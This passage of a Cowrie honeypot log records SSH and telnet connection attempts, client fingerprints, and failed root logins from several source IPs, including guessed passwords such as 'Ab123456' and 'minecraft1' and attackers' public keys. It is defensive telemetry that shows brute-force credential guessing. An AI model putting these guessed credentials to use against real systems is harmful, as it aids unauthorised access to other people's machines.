a-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:42.087656Z","src_ip":"103.15.226.202","session":"4f0d569c0e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:42.832198Z","src_ip":"103.15.226.202","session":"4f0d569c0e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:44.085108Z","src_ip":"103.15.226.202","session":"4f0d569c0e76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33126,"dst_ip":"159.203.135.109","dst_port":23,"session":"08300991a387","protocol":"telnet","message":"New connection: 128.199.8.54:33126 (159.203.135.109:23) [session: 08300991a387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:56:47.091816Z"}
{"eventid":"cowrie.session.closed","duration":32.773720502853394,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:13.221338Z","src_ip":"128.199.8.54","session":"f365d06bf640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":24275,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3e1c4070d5e","protocol":"ssh","message":"New connection: 193.24.211.100:24275 (159.203.135.109:22) [session: e3e1c4070d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:13.475270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:13.484100Z","src_ip":"193.24.211.100","session":"e3e1c4070d5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:13.596499Z","src_ip":"193.24.211.100","session":"e3e1c4070d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@123456","message":"login attempt [root/abcd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:14.028821Z","src_ip":"193.24.211.100","session":"e3e1c4070d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:15.143094Z","src_ip":"193.24.211.100","session":"e3e1c4070d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39000,"dst_ip":"159.203.135.109","dst_port":23,"session":"65b735a7e011","protocol":"telnet","message":"New connection: 128.199.8.54:39000 (159.203.135.109:23) [session: 65b735a7e011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:18.807142Z"}
{"eventid":"cowrie.session.closed","duration":32.888118743896484,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:19.979821Z","src_ip":"128.199.8.54","session":"08300991a387","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":50914,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec753b1e2fd1","protocol":"ssh","message":"New connection: 122.168.194.41:50914 (159.203.135.109:22) [session: ec753b1e2fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:21.519769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:21.524450Z","src_ip":"122.168.194.41","session":"ec753b1e2fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:21.792535Z","src_ip":"122.168.194.41","session":"ec753b1e2fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41196,"dst_ip":"159.203.135.109","dst_port":23,"session":"e70f3c5dd95e","protocol":"telnet","message":"New connection: 128.199.8.54:41196 (159.203.135.109:23) [session: e70f3c5dd95e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:21.851494Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft1","message":"login attempt [root/minecraft1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:22.898506Z","src_ip":"122.168.194.41","session":"ec753b1e2fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:24.170990Z","src_ip":"122.168.194.41","session":"ec753b1e2fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52626,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea7dd46b0ac6","protocol":"telnet","message":"New connection: 128.199.8.54:52626 (159.203.135.109:23) [session: ea7dd46b0ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:24.422074Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59176,"dst_ip":"159.203.135.109","dst_port":23,"session":"288365c4c46a","protocol":"telnet","message":"New connection: 128.199.8.54:59176 (159.203.135.109:23) [session: 288365c4c46a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:27.567137Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58470,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b305d832fcb","protocol":"telnet","message":"New connection: 128.199.8.54:58470 (159.203.135.109:23) [session: 3b305d832fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:31.271006Z"}
{"eventid":"cowrie.session.closed","duration":31.269512176513672,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:50.076528Z","src_ip":"128.199.8.54","session":"65b735a7e011","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.739110231399536,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:55.590491Z","src_ip":"128.199.8.54","session":"e70f3c5dd95e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60284,"dst_ip":"159.203.135.109","dst_port":23,"session":"87890d7c1c90","protocol":"telnet","message":"New connection: 128.199.8.54:60284 (159.203.135.109:23) [session: 87890d7c1c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:56.455836Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36408,"dst_ip":"159.203.135.109","dst_port":23,"session":"71fa11b22370","protocol":"telnet","message":"New connection: 128.199.8.54:36408 (159.203.135.109:23) [session: 71fa11b22370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:57.495748Z"}
{"eventid":"cowrie.session.closed","duration":34.039087772369385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:57:58.461054Z","src_ip":"128.199.8.54","session":"ea7dd46b0ac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.479814767837524,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:58:01.046839Z","src_ip":"128.199.8.54","session":"288365c4c46a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.04693245887756,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:58:03.317813Z","src_ip":"128.199.8.54","session":"3b305d832fcb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47846,"dst_ip":"159.203.135.109","dst_port":23,"session":"24231bc344da","protocol":"telnet","message":"New connection: 128.199.8.54:47846 (159.203.135.109:23) [session: 24231bc344da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:58:17.310083Z"}
{"eventid":"cowrie.session.closed","duration":31.667229890823364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:58:28.122983Z","src_ip":"128.199.8.54","session":"87890d7c1c90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.13281178474426,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:58:32.628464Z","src_ip":"128.199.8.54","session":"71fa11b22370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":63414,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b4695057e2f","protocol":"telnet","message":"New connection: 212.55.149.117:63414 (10.17.0.5:23) [session: 5b4695057e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:58:45.921333Z"}
{"eventid":"cowrie.session.closed","duration":33.1808717250824,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:58:50.490840Z","src_ip":"128.199.8.54","session":"24231bc344da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.54.80.14","src_port":62501,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9b293f9e7a4","protocol":"telnet","message":"New connection: 84.54.80.14:62501 (10.17.0.5:23) [session: b9b293f9e7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:59:13.768574Z"}
{"eventid":"cowrie.session.closed","duration":13.006572008132935,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:59:26.775019Z","src_ip":"84.54.80.14","session":"b9b293f9e7a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54776,"dst_ip":"159.203.135.109","dst_port":23,"session":"becec6e0ba4b","protocol":"telnet","message":"New connection: 128.199.8.54:54776 (159.203.135.109:23) [session: becec6e0ba4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:59:31.876677Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55590,"dst_ip":"159.203.135.109","dst_port":23,"session":"b05f2ac7f6fb","protocol":"telnet","message":"New connection: 128.199.8.54:55590 (159.203.135.109:23) [session: b05f2ac7f6fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:59:32.285446Z"}
{"eventid":"cowrie.session.closed","duration":60.046419858932495,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:59:45.967607Z","src_ip":"212.55.149.117","session":"5b4695057e2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":62558,"dst_ip":"10.17.0.5","dst_port":23,"session":"321d7a3c2f2f","protocol":"telnet","message":"New connection: 212.55.149.117:62558 (10.17.0.5:23) [session: 321d7a3c2f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:59:59.347978Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.181.177.29","src_port":55972,"dst_ip":"10.17.0.5","dst_port":22,"session":"359ea007b156","protocol":"ssh","message":"New connection: 108.181.177.29:55972 (10.17.0.5:22) [session: 359ea007b156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.488979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.493340Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.505738Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:21:9c:ff:6a:2e:f1:07:b0:4e:65:a7:68:cd:ee:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCEKyIqAjyo5FYXhq+1lzVdt2FP47GgeTjr0zT5OfRVIyMCkCY3wOj5z2SgmhQd0dAFcDdai7eWpIFsMvXEnQk5kqVa4t+t19A57eZG0rFuk7BqDJVHjuUxYDAJnrQq6mgeBUiBVv7IHnqfaLNeMXKvttb0TG+8xfPbvRgEjnScNW3WG0A4P4FlADcD2oGToJOnZb2uoQT1e5mcZHB40joJ4wXBbvyw+rqAyzp+3vIUHwpSs1NyI//KAxuGIHvCQ/DZoJtU8qGmQ6Ugw9fkfcbHvgEf+R8+BC+oVYwP91WTwi69Mpfof6Rg1X3J7wxJSw1oP77dL3nm7iPJlVNvy1eVUMFxrceqftxcW7opyieUMKf4qYAzFZGcnqTrOzZmL1PCf5AouR2P//kU0BUCmjsDjETJaKh8gDypiVOUmdhb+Guy5nJufCmw+6jRUaJwelr61WvO0Su++LjqQt2G+Pf2DDjS+g4xNiK470qancaSfd2RTqqk8qrDlCb+UkP/wzM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:21:9c:ff:6a:2e:f1:07:b0:4e:65:a7:68:cd:ee:ab","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.554334Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:21:9c:ff:6a:2e:f1:07:b0:4e:65:a7:68:cd:ee:ab","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCEKyIqAjyo5FYXhq+1lzVdt2FP47GgeTjr0zT5OfRVIyMCkCY3wOj5z2SgmhQd0dAFcDdai7eWpIFsMvXEnQk5kqVa4t+t19A57eZG0rFuk7BqDJVHjuUxYDAJnrQq6mgeBUiBVv7IHnqfaLNeMXKvttb0TG+8xfPbvRgEjnScNW3WG0A4P4FlADcD2oGToJOnZb2uoQT1e5mcZHB40joJ4wXBbvyw+rqAyzp+3vIUHwpSs1NyI//KAxuGIHvCQ/DZoJtU8qGmQ6Ugw9fkfcbHvgEf+R8+BC+oVYwP91WTwi69Mpfof6Rg1X3J7wxJSw1oP77dL3nm7iPJlVNvy1eVUMFxrceqftxcW7opyieUMKf4qYAzFZGcnqTrOzZmL1PCf5AouR2P//kU0BUCmjsDjETJaKh8gDypiVOUmdhb+Guy5nJufCmw+6jRUaJwelr61WvO0Su++LjqQt2G+Pf2DDjS+g4xNiK470qancaSfd2RTqqk8qrDlCb+UkP/wzM=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.560459Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:63:72:aa:ed:7c:93:30:48:e0:42:20:85:e9:35:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+tCzxlkuz6Wx0GO3uUgtu2lLdUmULpORb9rPUOr8XOoennCSY8TveFjxeMeEj7dpEeNqTeO3X0HNBkQO+sprulBpVvo20k+5g696E9rbIxlhfs3MA/dGd5oex9Z6T/sRVfg24OTcBSL1Hv8K/BD53G2flW1QnTk/HEsVt1NafnsQNTxOq/FSlg/qt11G90GU4R5OGQsmfbnroSfHj40omOMJCgkv56n9aDAgNVhK3jQUwLAe/OnuSRfcui/o+m62M++vRlPewjTzXSOazMKvNJnIs4MwEc6dxdKrekSmvZSD6OmKHFwTRi/odQFUEs4lGPO/I5COwLbrPPIwGFDrN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:63:72:aa:ed:7c:93:30:48:e0:42:20:85:e9:35:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.584219Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:63:72:aa:ed:7c:93:30:48:e0:42:20:85:e9:35:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+tCzxlkuz6Wx0GO3uUgtu2lLdUmULpORb9rPUOr8XOoennCSY8TveFjxeMeEj7dpEeNqTeO3X0HNBkQO+sprulBpVvo20k+5g696E9rbIxlhfs3MA/dGd5oex9Z6T/sRVfg24OTcBSL1Hv8K/BD53G2flW1QnTk/HEsVt1NafnsQNTxOq/FSlg/qt11G90GU4R5OGQsmfbnroSfHj40omOMJCgkv56n9aDAgNVhK3jQUwLAe/OnuSRfcui/o+m62M++vRlPewjTzXSOazMKvNJnIs4MwEc6dxdKrekSmvZSD6OmKHFwTRi/odQFUEs4lGPO/I5COwLbrPPIwGFDrN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.590929Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:85:3a:25:26:4c:ce:1d:af:19:d6:95:dc:14:85:59","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFBZe76yPB6VF/7cgNgbs8TQp4meOu8GexIB7U6Wwzmu6/AU3dxIoXVOCCi43OPp9MwkZEQKXcvKwiLMhFZ8ea9UcykTN5Pn/0bAXzJg1C5nEaP5EUchKzxzpeXXepcsW9+f1fo1+NcwLGcjgBx6Zd30y5szbvu5PhVEqLDBPDfwI8xqSxJv6fMWqsS/C65Oy5l7QN8qGxwk02ii+beLQv+h1B9/64sXOt9+2Mr2gE23J6NLypRchxgmpXffnpQf/LbtwOoJnhtKoItJtL3jkhGSI+iZxisOfbXfKs9Do6+fkcezs2Lthm7GGtl39VRrAk0QlxwvMxpHISCOcHv1gd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:85:3a:25:26:4c:ce:1d:af:19:d6:95:dc:14:85:59","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T12:00:04.619929Z","src_ip":"108.181.177.29","session":"359ea007b156","protocol":"ssh"}
